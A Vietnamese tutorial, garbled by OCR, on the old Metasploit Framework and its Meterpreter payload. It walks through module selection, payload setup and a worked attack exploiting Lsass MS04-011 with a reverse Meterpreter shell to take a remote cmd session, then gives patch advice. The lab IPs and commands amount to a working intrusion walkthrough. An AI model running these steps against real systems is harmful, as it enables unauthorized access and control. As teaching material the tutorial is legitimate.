Metasploit - Cong cu khai thac 16 hong

METASPLOIT

1) Giéi thiéu

Metasploit Framework 12 mot méi trudng ding dé kiém tra ,tdn cong va khai thac 13i cta

cdc service. Metasploit duoc xay dung tir ngdn ngit huéng d6i tuong Perl, voi nhitng
components duogc viét bang C, assembler, va Python.Metasploit c6 thé chay trén hau hét
céc hé diéu hanh: Linux, Windows, MacOS. Ban c6 thé download chuong trinh

tai www.metasploit.com

Metasploit ¢ thé ty dong update bat du tir version 2.2 trd di, st dung script
msfupdate.bat trong thu muc cai dat

2)Céc thanh phin ciia Metasploit

Metasploit hd trg nhiéu giao dién véi ngudi dung:

-console interface: ding msfconsole.bat. Msfconsole interface sir dung céc dong 1énh dé
chu hinh, kiém tra nén nhanh hon va mém déo hon

-Web interface: ding msfweb.bat, giao tiép v4i ngudi ding thong qua giao dién web
-Command line interface: dung msfcli.bat

Enviroment

Global Enviroment:dugc thyuc thi thong qua 2 ciu 1énh setg va unsetg, nhirng options
duoc gin & ddy s& mang tinh toan cuc, dugc dua vao tit ca cdc module exploits
Temporary Enviroment: dugc thyc thi thong qua 2 cau 1énh set va unset, enviroment
nay chi duoc dwa vao module exploit dang load hién tai, khong anh huéng dén cdc
module exploit khéc

Ban c¢6 thé luu lai enviroment minh da cau hinh thong qua 1énh save. Mdi truong d6 sé
dugc luu trong /.msf/config va s€ duogc load tré lai khi user interface dugc thuc hién
Nhiing options nao ma chung gitra cac exploits module nhu la: LPORT, LHOST,
PAYLOAD thi ban nén duogc xac dinh ¢ Global Enviroment

vd: msf> setg LPORT 80

msf> setg LHOST 172.16.8.2

3)Str dung Metasploit framework

1. Chon module exploit: lgya chon chuong trinh, dich vu 16i ma Metasploit c6 ho tro dé
khai thac

show exploits: xem cdc module exploit ma framework c6 ho trg

use exploit_name: chon module exploit

info exploit_name: xem thong tin vé module exploit
Ban nén cdp nhat thuong xuyén cic 16i dich vu trén www.metasploit.com hodc qua script
msfupdate.bat

2. Céu hinh module exploit dd chon



show options: Xac dinh nhiing options nio can ciu hinh

set : cau hinh cho nhiing option ctia module d6

Mot vai module con c6 nhitng advanced options, ban ¢ thé xem bang cdch g dong
Iénh show advanceds

3. Verify nhitng options vira cau hinh:

check: kiém tra xem nhitng option da duoc set chinh x4c chua.

4. Lya chon target: lya chon hé diéu hanh nao dé thuc hién

show targets: nhirng target dugc cung cap béi module d6

set: xac dinh target nao

vd: smf> use windows_ssl_pct

show targets

exploit s€ liét ké ra nhiing target nhu: winxp, winxp SP1, win2000, win2000 SP1

5. Lva chon payload

payload 12 doan code ma s& chay trén hé théng remote machine

show payloads: li¢t ké ra nhitng payload cua module exploit hién tai

info payload_name: xem thong tin chi tiét vé payload d6

set PAYLOAD payload_name: x4c dinh payload module name.Sau khi Iya chon
payload nao, ding 1énh show options dé xem nhitng options cua payload d6

show advanced: xem nhiing advanced options cua payload d6

6.Thuc thi exploit

exploit: 1énh dung dé thyc thi payload code. Payload sau d6 s& cung cip cho ban nhiing
thong tin vé hé théng duoc khai thac

4.Gioi thiéu payload meterpreter

Meterpreter, viét tit tir Meta-Interpreter 1a mot advanced payload c6 trong Metasploit
framework. Muc dich cta né 1a dé cung cap nhiing tap 1énh dé khai thac, tin cing cdc

mdy remote computers. N6 duoc viét tir cdc developers dudi dang shared object( DLL)
files. Meterpreter va cdc thanh phin mé rong duogc thuc thi trong bo nhé, hoan toan
khong duoc ghi 1én dia nén c6 thé tranh duogc sy phét hién tir cdc phan mém chdng virus
Meterpreter cung cap mot tip 1énh dé ching ta c¢6 thé khai thc trén cic remote
computers

Fs: cho phép upload va download files tir cic remote machine

Net: cho phép xem thong tin mang cua remote machine nhu IP, route table
Process:cho phép tao céic processes mdi trén remote machine

Sys: cho phép xem thong tin hé thong ctia remote machine

St dung cau 1énh

use -m modulel,module2,module3 [ -p path ][ -d ]

Cau 1énh use dung dé load nhitng module mé rong ctia meterpreter nhu: Fs, Net,



Process..

loadlib -f library [ -t target ] [ -lde ]

Cau 1énh cho phép load cac thu vién cua remote machines

read channel_id [length]

Lénh read cho phép xem dir liéu ctia remote machine trén channel dang két ndi
write channel_id

Lénh write cho phép ghi dit liéu 1€n remote machine

close channel_id

Péng channel ma da két néi v6i remote computer

interact channel _id

Bit dau mot phi€n lam viéc v61 channel vira thiét lap v6i remote machine
initcrypt cipher [parameters]

Ma hod dir li¢u duogc guri gitra host va remote machine

St dung module Fs: cho phép upload va download files tir cic remote machine
cd directory

gidng 1énh cd ctia commandline

getcwd

cho biét thu muc dang lam vi¢c hié¢n tai

Is [filter_string]

li¢t ké cac thu muc va tap tin

upload srcl [src2 ...] dst

upload file

download srcl [src2 ...] dst

download file

Str dung module Net:

ipconfig

route

xem bang dinh tuyén ctia remote machine

portfwd [ -arv ] [ -L laddr ] [ -1 lport ] [ -h rhost ] [ -p rport ] [ -P ]
cho phép tao port forward gitra host va remote machine

Str dung module Process:

execute -f file [ -a args ] [ -Hc ]

cau Iénh execute cho phép ban tao ra mot process madi trén remote machine va str dung
process d6 dé khai thac dir liéu

kill pid1 pid2 pid3



huy nhitng processes dang chay trén mdy remote machine

ps

liét k€ nhirng process cua remote machine

Str dung module Sys:

getuid

cho biét username hién tai cia remote machine

sysinfo

cho biét thong tin vé computername, OS

S)Vi du:

Mady localhost ¢6 dia chi 192.168.1.1 s& tan cong mdy remote c6 dia chi 192.168.1.2
thong qua 16i Lsass_ms04_011. DAy 1a 1i tran stack trong dich vu LSA( Local Security
Authority).Lsass.exe 12 mot process cta hé thong Microsoft Windows, chiu trach nhiém
vé chimg thyc local security, quan 1y Active Directory va cdc chinh sach login. Lsass
kiém séat viéc chung thuc ciia cé client va server.

Msf>use Lsass_ms04_011

Mst>set PAYLOAD win32_reverse_meterpreter

Msf>set RHOST 192.168.1.2

Msf>set LHOST 192.168.1.1

Mst>exploit

Meterpreter> help

Meterpreter>use -m Process //add thém tap I¢nh cua process

Meterpreter>help // xem céc 1énh meterpreter ho trg

Meterpreter>ps // list cdc process ma remote machine dang chay

Meterpreter>kill // tit cdc process ma remote machine dang chay

Meterpreter> execute -f cmd —c // tin cong sir dung comandline cmd ctia remote
machine

execute: success, process id is 3516.

execute: allocated channel 1 for new process.

meterpreter> interact 1

interact: Switching to interactive console on 1...

interact: Started interactive channel 1.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS>echo Meterpreter interactive channel in action

echo Meterpreter interactive channel in action

Meterpreter interactive channel in action

C:\WINDOWS>ipconfig



Caught Ctrl-C, close interactive session? [y/N] y

meterpreter>

6)Cach phong chéng

Thudng xuyén cap nhat céc ban va 18i ciia Microsofts. Vi du nhu dé Metasploit khong thé

khai thdc duoc 16i Lsass_ms04_011, ban phai cap nhat ban va 16i cia Microsoft. Theo
Microsoft d4nh gid, ddy 1a mot 16i nghiém trong, c6 trén hau hét tat ca cdc hé diéu hanh
windows. Ban nén st dung hotfix c6 number 1a 835732 dé v4 15i trén.



